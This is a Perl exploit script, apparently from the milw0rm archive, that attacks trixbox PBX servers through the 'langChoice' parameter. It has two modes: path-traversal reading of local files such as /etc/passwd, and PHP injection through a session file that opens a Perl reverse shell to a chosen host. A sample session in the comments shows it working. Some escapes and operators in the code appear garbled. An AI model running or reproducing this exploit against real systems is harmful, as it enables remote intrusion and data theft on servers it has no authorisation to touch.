#!/usr/bin/perl -w # Jean-Michel BESNARD - LEXSI Audit # 2008-07-08 # perl trixbox_fi.pl 192.168.1.212 # Please listen carefully as our menu option has changed # Choose from the following options: # 1> Remote TCP shell # 2> Read local file # 1 # Host and port the reverse shell should connect to ? (<host>:<port>): 192.168.1.132:4444 # Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444) # Press enter to continue... # done... # nc -l -v -p 4444 # listening on [any] 4444 ... # connect to [192.168.1.132] from [192.168.1.212] 46532 # JMB: no job control in this shell # JMB: /root/.bashrc: Permission denied # JMB-3.1$ id # uid=102(asterisk) gid=103(asterisk) groups=103(asterisk) use strict; use Switch; use LWP::UserAgent; use HTTP::Cookies; usage() unless @ARGV; my $url = "http://$ARGV[0]/user/index.php"; my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->cookie_jar($cookie_jar); menu(); sub execScript{ my $scriptCode = shift; post($scriptCode); my $phpsessionid = extractPHPSID($cookie_jar->as _string); post("langChoice=../../../../../tmp/sess_$phpsessionid"); } sub post{ my $postData = shift; my $req = HTTP::Request->new(POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content($postData); my $res = $ua->request($req); my $content = $res->content; return $content; } sub readFile{ my $file = shift; my $content = post("langChoice=../../../../..$file"); my @fileLines = split(/n/,$content); my $fileContent = "Content of $file: nn"; for(my $i=3;$i<@fileLines;$i ){ last if($fileLines[$i] =~ m/trixbox - User Mode/); $fileContent = $fileContent . $fileLines[$i-3] . "n"; } return $fileContent; } sub tcp_reverse_shell{ my $rhost= shift; my $rport = shift; my $rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '$p=fork;exit,if($p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton("$rhost")));open(STDIN, ">&S");open(STDOUT,">&S");open(STDERR,">&S");exec({"/bin/sh"} ("JMB", "-i"));'`;?>"; execScript($rshell); } sub extractPHPSID{ $_ = shift; if(/PHPSESSID=(w )/){ return $1; } } sub menu{ print <<EOF; Please listen carefully as our menu option has changed Choose from the following options: 1> Remote TCP shell 2> Read local file EOF my $option = <STDIN>; chop($option); switch($option){ case 1 { print "Host and port the reverse shell should connect to ? "; print "(<host>:<port>): "; my $hp=<STDIN>; chop($hp); my($rhost,$rport) = split(/:/,$hp); print "Make sure you've opened a server socket on port $rport at $rhost (e.g, nc -l -p $rport)n"; print "Press enter to continue..."; <STDIN>; tcp_reverse_shell($rhost,$rport); print "done...n"; } case 2 { while

(1){ print "Full path (e.g. /etc/passwd): "; my $file = <STDIN>; chop($file); print readFile($file) . "nn"; } } } } sub usage{ print "./trixbox_fi.pl <host>n"; exit 1; } # milw0rm.com [2008-07-08]